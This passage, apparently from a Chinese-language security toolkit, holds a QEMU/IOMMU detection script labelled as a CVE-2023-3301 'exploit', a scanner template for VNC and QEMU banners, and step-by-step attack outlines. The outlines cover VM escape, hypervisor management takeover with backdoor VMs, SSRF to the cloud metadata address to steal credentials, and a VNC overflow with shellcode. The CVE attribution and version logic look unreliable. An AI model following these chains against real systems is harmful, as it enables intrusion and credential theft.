            print("[-] pgrep 命令不可用")
        return False

    def check_iommu_config(self):
        print("[*] IOMMU 配置检查")
        iommu_info = {
            "intel_iommu": "/sys/module/intel_iommu",
            "amd_iommu": "/sys/module/amd_iommu",
            "vfio": "/sys/module/vfio",
        }
        for name, path in iommu_info.items():
            if os.path.exists(path):
                print(f"    [+] {name}: 已加载")
            else:
                print(f"    [-] {name}: 未加载")

        try:
            result = subprocess.run(
                ["dmesg"],
                capture_output=True, text=True, timeout=5
            )
            if "IOMMU" in result.stdout:
                for line in result.stdout.split('\n'):
                    if "IOMMU" in line:
                        print(f"    [dmesg] {line.strip()}")
        except Exception:
            pass

    def enumerate_vfio_devices(self):
        print("[*] VFIO 设备直通枚举")
        vfio_path = "/sys/bus/pci/drivers/vfio-pci"
        if os.path.exists(vfio_path):
            try:
                devices = os.listdir(vfio_path)
                pci_devices = [d for d in devices if ':' in d]
                if pci_devices:
                    print(f"    [+] 发现 {len(pci_devices)} 个 VFIO 设备:")
                    for dev in pci_devices[:10]:
                        print(f"        {dev}")
                else:
                    print("    [-] 未发现 VFIO 设备")
            except PermissionError:
                print("    [-] 权限不足")
        else:
            print("    [-] vfio-pci 驱动未加载")

    def check_qemu_version(self):
        print("[*] QEMU 版本检测")
        try:
            result = subprocess.run(
                ["qemu-system-x86_64", "--version"],
                capture_output=True, text=True, timeout=5
            )
            if result.returncode == 0:
                version_line = result.stdout.strip()
                print(f"[+] {version_line}")
                import re
                match = re.search(r'QEMU emulator version (\d+\.\d+\.\d+)', version_line)
                if match:
                    version = match.group(1)
                    major, minor, patch = [int(x) for x in version.split('.')]
                    vulnerable = (
                        (major == 7) or
                        (major == 8 and minor == 0) or
                        (major == 8 and minor == 1 and patch <= 4)
                    )
                    if vulnerable:
                        print(f"[!] QEMU {version} 可能受 CVE-2023-3301 影响")
                    else:
                        print(f"[+] QEMU {version} 版本安全")
                return True
        except (FileNotFoundError, subprocess.TimeoutExpired):
            print("[-] qemu-system-x86_64 不可用")
        return False

    def assess_risk(self):
        print("[*] CVE-2023-3301 风险评估")
        has_iommu = any(
            os.path.exists(p) for p in [
                "/sys/module/vfio",
                "/sys/module/intel_iommu",
            ]
        )
        has_qemu = len(self.qemu_processes) > 0
        print(f"    QEMU 进程: {'存在' if has_qemu else '不存在'}")
        print(f"    IOMMU 模块: {'已加载' if has_iommu else '未加载'}")
        if has_qemu and has_iommu:
            print("[!] 高风险：QEMU + IOMMU 环境可能受 CVE-2023-3301 影响")
            print("[!] 建议升级 QEMU 到修复版本")
        elif has_qemu:
            print("[!] 中风险：QEMU 已加载但 IOMMU 未启用")
        else:
            print("[+] 低风险：未检测到 QEMU 进程")

if __name__ == '__main__':
    exploit = QEMUCVE20233301()
    if exploit.detect_qemu():
        exploit.check_iommu_config()
        exploit.enumerate_vfio_devices()
        exploit.check_qemu_version()
        exploit.assess_risk()

id: qemu-cve-2023-3301-iommu-privesc

info:
  name: QEMU IOMMU Privilege Escalation Detection
  author: security-research
  severity: high
  tags: qemu,iommu,privesc,cve2023
  reference:
    - https://www.qemu.org/

tcp:
  - inputs:
      - data: "\x03\x00\x00\x08\x06\xec\x00\x01"
    host:
      - "{{Hostname}}"
    port: 5900
    read-size: 1024
    matchers:
      - type: word
        words:
          - "RFB"

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "QEMU"
          - "KVM"
          - "qemu"
        condition: or

Step 1: 获取 Guest VM 内代码执行能力
    → Web 应用漏洞 / 弱凭据 / 已知漏洞
Step 2: 识别虚拟化平台类型和版本
    → 检查 /sys/hypervisor/type、进程列表、设备节点
Step 3: 利用 Hypervisor/虚拟设备漏洞
    → 内存破坏（堆溢出/栈溢出/UAF）
    → MMU/IOMMU 虚拟化缺陷
Step 4: 突破隔离边界
    → 获取 Hypervisor 进程的内存读写能力
Step 5: 在宿主机上执行代码
    → 以 QEMU/KVM/Xen 进程权限运行 shellcode

Step 1: 发现管理界面
    → 端口扫描（8006/9440/443）
    → Banner 识别（Proxmox/Nutanix/XenServer）
Step 2: 认证绕过或暴力破解
    → 利用 API 漏洞绕过认证
    → 弱密码暴力破解
Step 3: 获取管理凭据
    → API Token / Session Cookie / 管理员密码
Step 4: 管理面操作
    → 读取虚拟机磁盘、创建/删除虚拟机
    → 导出凭据、横向移动
Step 5: 持久化
    → 创建后门虚拟机、修改 SSH 密钥

Step 1: 识别 SSRF 入口点
    → URL 参数、代理接口、Webhook 回调
Step 2: 绕过基础过滤
    → IP 编码、DNS 重绑定、URL 解析差异
Step 3: 访问元数据服务
    → http://169.254.169.254/latest/meta-data/
Step 4: 获取实例凭据
    → IAM 角色临时凭据
    → API Token / 密钥
Step 5: 凭据利用
    → 访问云服务 API
    → 横向移动到其他管理平台

Step 1: 识别暴露的虚拟设备接口
    → VNC（5900）、SPICE、串口控制台
Step 2: 协议交互获取版本信息
    → VNC RFB 握手、Banner 识别
Step 3: 构造溢出 payload
    → 精确计算偏移量
    → 构造 ROP chain
Step 4: 触发缓冲区溢出
    → 发送超长输入数据
Step 5: 执行 shellcode
    → 绕过 NX/ASLR 保护
    → 获取 QEMU 进程控制权

Step 1: 在 Guest VM 内识别虚拟化特征
    → MMU 接口、IOMMU 配置、Xen hypercall 接口
Step 2: 构造异常操作序列
    → 异常页表操作、DMA 映射请求
Step 3: 触发虚拟化层缺陷
    → 影子页表不一致、IOMMU 映射越界
Step 4: 利用内存不一致
    → 获取跨域内存读写能力
Step 5: 权限提升
    → 读取/修改 Hypervisor 内存
    → 获取 Dom0/root 权限